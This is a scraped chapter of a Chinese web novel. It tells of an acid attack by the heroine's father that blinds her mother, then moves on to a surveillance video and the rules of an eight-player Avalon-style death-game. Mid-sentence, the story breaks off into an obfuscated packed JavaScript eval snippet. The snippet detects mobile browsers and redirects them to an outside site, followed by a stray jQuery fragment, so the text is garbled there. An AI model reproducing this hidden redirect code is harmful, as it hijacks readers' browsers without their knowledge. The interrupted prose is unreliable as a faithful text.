院子连着一道后门,不是防盗门,是玻璃滑门。骆桑常常图方便,不走正门,就从院子连着的后门进出。 那个人渣看到了骆桑从玻璃滑门进屋,跟在后面拿锤子砸烂了玻璃。 猛烈的敲击声和玻璃破碎的稀里哗啦声叫骆桑一惊,赶忙折返去查看——人渣已进了屋,对她怒目圆睁,浑身披着玻璃渣,手里紧攥着一个保温杯。 骆桑极度震惊,望着那人半天没说出话来。 耳后传来急促的脚步声,和母亲焦急的询问:“发生什么事了,小桑?” 骆桑正要回答,就见那人渣表情扭曲,像个地狱来的恶鬼,还歇斯底里大骂道:“骆尺藿,老子要你后悔一辈子!” 说罢,人渣朝骆桑快速逼近,同时拧开保温杯的盖子。 当时骆桑并不理解人渣在骂什么,也没反应过来他要干嘛,可她并没有感觉到危险,那是一种天然的本能。 她只听到后方的门被猛地推开,母亲从身后极速奔来。 十六岁的骆桑生得亭亭玉立,面容姣好,用当时朋友圈子里的话来形容,就是拥有一张完美初恋脸。 人渣就冲她而来,朝她举起揭开盖子的保温杯! “爸……” 错愕的一瞬间,母亲一下蹿到骆桑身前,毫不犹豫将她挡住,并用自己的身躯砸向比她高出一个头的人渣,用尽全力把他往后推。 人渣手中半举的保温杯喷出一股液体,本是冲骆桑而来,却直直喷到了母亲脸上! “啊——!” 惨叫声在一瞬间惊起。 骆桑看到浓稠的液体从母亲额头直往下流,仿佛炙热的岩浆,所到之处尽数腐蚀烧焦。只短短两秒钟,她脸上的皮肤迅速变白变黄,然后碳化成黑色! 母亲惨叫着浑身抽搐,她的眼睛已睁不开,可她的双手丝毫没有放开人渣,像一把铁钳死死抓住他拿保温杯的手,绝不让他再做动作。 很快,液体侵蚀口腔,惨叫声被迫终止,骆桑听到母亲艰难发出的最后声音: “小桑快走开……” 她的力气从来没有那样大过,一个壮年男人都无法把她甩开,甚至被她推着不停倒退。 保温杯最终落地,杯里的液体洒了一地,溅起来一滴飞到骆桑裤腿上,厚厚的牛仔裤瞬间被烧出一个洞,皮肤溃烂火辣辣地疼! 那只是一滴…… 骆桑知道了,那是浓硫酸! 母亲发了疯,力大如牛,把人渣推出门外。两人的身体将玻璃门砸得更碎,脚下被门栏绊倒,便一同倒地,门边几个盆栽倾覆,滚出好几米远。 巨大的响动引起了周围人的注意,很快有人前来相助,把扭打的两人分开,拨打120和110。 而骆桑以最快速度找来院子里浇水用的长皮管,拧开水龙头冲洗母亲的脸。 “妈……别怕……我们马上去医院……” 她几乎不敢去看面目全非的母亲,但又必须看清楚,极力控制住手抖,好让水流对准。 母亲奄奄一息,剧烈的疼痛让她很快晕厥。 人渣已被人控制住,却对着倒地的母亲狂笑:“去死吧骆尺藿,哈哈哈哈——!” 若不是必须在第一时间尽量冲洗,腾不开手,骆桑真会抱起个花盆砸碎人渣的脑袋! 她几乎咬碎后槽牙,喊出了这辈子最狠的话: “叶满庭你个畜生!从今以后我和你断绝父女关系,我会亲自把你送进监狱,叫你把牢底坐穿!” * 监控视频里,盲人妇女还在浇着花,另一个穿着围裙的女人从屋子里跑了出来。 “骆夫人,您又把它忘在床头了,来,我帮您戴上。” 那女人手里拿着一条面巾,仔仔细细地将之盖到盲人妇女的脸上,两侧在她耳朵上挂好,又把她额上的刘海梳理好,铺下来遮住额头。 这样,盲人妇女泥泞的面容被小心掩藏起来,只留一双无神的眼睛。 盲人妇女十分有礼貌:“多谢了,小刘。” “哇,刘姨还在照顾姐姐的妈咪耶,太好啦。”阿勤开心地转了个圈圈,“之前阿懒说,从这个月起,阿勤要停止再支付刘姨的工资,说菠萝会接着支付,可是菠萝是个马大哈欸,肯定会忘记的,阿勤好担心刘姨会被气走。” 骆桑想说,取消这条,阿勤你可以接着支付了,张口却发现自己发不出声音。 不是声带凝固,是她哽咽了。 那段痛彻心扉的记忆一浮上心头,她就忍不住,眼眶里晶莹打转。可她不能伸手去擦,也不能用抬脸望天大法,只好放弃治疗,任几颗泪珠子转着转着就夺眶而出。 “阿懒,你是不是哪里不舒服?”阿勤见骆桑突然落泪,关心地问。 骆桑,是很后悔。 那之后,母亲的脸上做了无数次植皮手术,都无法恢复容貌,只能勉强维持健康。而她的双眼被彻底烧毁,再也没有复明的可能…… 骆桑还记得,最后那次植皮手术后,母亲拉着她的手说:“小桑,到此为止吧,妈妈不想再做手术了。没关系的,反正妈妈都看不见的。” 母亲的确从未抱怨过一句,包括痛苦煎熬的治疗过程,她的情绪都从未崩溃过。 “小桑,只要你没事,妈妈就放心。” 她永远都这么说。 骆桑拥住母亲,泪如雨下:“妈,以后我照顾你,照顾你一辈子。” 可惜,她食言了,话说出去还没两年,自己倒先成了拖累…… 骆桑后悔的,是她终究没有自己以为的强大,终究没能坚持住,选择了离母亲而去。 但可能就是俗话说的老天垂怜吧,谁能想到后续的演变会是这样,倒成了另一种意义上的因祸得福。 视频里的母亲虽然面容尽毁,但神色是平静的,心情是愉悦的,看起来过得很好。 和骆桑期盼的一样好。 骆桑感到欣慰,她看着母亲悠然浇花的身影,尽管脸上泪还没干,嘴边却不经意流露出微笑。 这一切刚刚好,好得超过了她的幻想。 她迫不及待想要再进入游戏,迫不及待想赢得更多奖赏。若真有那一天,她的身体能彻底复原,她要做的第一件事就是把刘姨辞掉,亲自照顾妈妈。 这一刻,骆桑心头迸发出强烈的渴望,而她惊然发现,就在这时,阿勤第二次出现了异样。 小屏幕熄灭,摄像头眼睛停住不动,只剩一个电源LED空空亮着。 阿勤又死机了! 这就来了?这么善解人意? 这游戏屋简直像是拥有读心术! 这一次,骆桑静静等待,没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750193|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忐忑,反是期寄。 片刻后,阿勤的小屏幕猛然发出强烈白光,骆桑迎向那已变得熟悉的光线,在期待中闭上眼。 * 再睁开眼时,便又是那个简约干净的休息室,一样柔软的沙发,靠在里面像是睡了一个美觉。 骆桑站起来,活动活动胳膊腿儿。 机械声很快响起:【现在公布《阿瓦隆》8人局游戏规则。】 诶,8人局了?人数增加了两个。 【《阿瓦隆》8人局分为蓝方阵营和红方阵营,蓝方阵营为5人,红方阵营为3人。】 【蓝方阵营5人的身份分别为:梅林,派西维尔,和3个忠臣。】 【红方阵营3人的身份分别为:莫甘娜,刺客,和莫德雷德。】 莫德雷德?那个亚瑟王的私生子,终结了卡美洛王国的叛徒。 不管是在传说里,还是在《阿瓦隆》游戏里,莫德雷德都是个红方头子,最厉害的一点就是梅林看不到他,可以当个完全隐藏的红。 8人局里红方加入莫德雷德将会很强。 【蓝方5人。】 【梅林知道莫甘娜和刺客是哪两个人,但不知道其中谁是莫甘娜,谁是刺客。】 【派西维尔知道梅林和莫甘娜是哪两个人,但不知道其中谁是梅林,谁是莫甘娜。】 【忠臣没有额外信息。】 【红方3人。】 【莫甘娜,刺客和莫德雷德知道彼此是谁。】 【莫德雷德不会被梅林看见。】 【刺客可在游戏任意时刻发动刺杀技能,选择一名玩家进行刺杀,整场游戏只能发动一次,且一旦发动,刺杀结束后,游戏立即结束。】 【游戏最多进行5轮任务,5轮任务需要的人数依次为:3人,4人,4人,5人,5人。】 【参加任务的人选由投票产生。】 【投票规则为:抽取随机点数从某个号码开始提议人选,全员投票。5票及5票以上为过半,4票及4票以下为不过半。过半即通过,开始执行任务。不过半则顺延由后置位提议人选再次投票,不通过再顺延至后置位,以此类推。】 这次不再固定从1号开始担任队长,变成了随机抽。 【如果连续3个人的提议都得不到通过,那么第4个人的提议无需投票直接通过。】 允许不通过的次数也减少了一次。 【开始执行任务后,被选中的人将被配发两张卡片,蓝方阵营成员为两张支持卡,红方阵营成员为一张支持卡和一张反对卡。每人选一张卡片提交,若所有提交的卡牌均为支持卡,则任务完成,若有一张或一张以上为反对卡,则任务被破坏。】 【注意:第4轮为保护轮,需要至少两张反对卡,任务才被破坏。】 【每轮都将公布提交的卡牌中支持卡和反对卡的数量。】 添加了保护轮机制,这好歹对弱势的蓝方是一种补偿。 【蓝方获胜条件为:完成3个任务,并成功掩护梅林不被刺杀。】 【红方获胜条件为:破坏3个任务,或成功刺杀梅林。】 【游戏即将开始,请在房间内的抽卡机上抽取本场游戏的号码牌和身份。】 骆桑早就等在了抽卡机处,机械声一播报完就点了抽卡。 第一次吐出来的卡牌写着:6。 第二次吐出来的卡牌上画着一个普通的骑士头像:忠臣。 骆桑撇撇嘴,这下不好整了,红方优势的板子,结果就抽到个蓝方的瞎子。 这次还能不能顺利获得奖赏,悬了。